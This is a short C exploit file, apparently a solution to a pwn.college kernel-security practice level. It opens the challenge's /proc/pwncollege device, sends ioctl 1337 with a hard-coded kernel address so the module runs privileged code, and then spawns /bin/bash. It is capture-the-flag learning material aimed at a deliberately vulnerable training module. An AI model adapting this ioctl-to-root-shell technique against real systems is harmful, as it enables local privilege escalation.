Files
pwn-learning/PwnCollege/KernelSecurity/Level5.1/exploit.c

10 lines
237 B
C

#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
ioctl(fd, 1337, 0xffffffffc0000000ull + 0xc2ull);
execve("/bin/bash", NULL, NULL);
}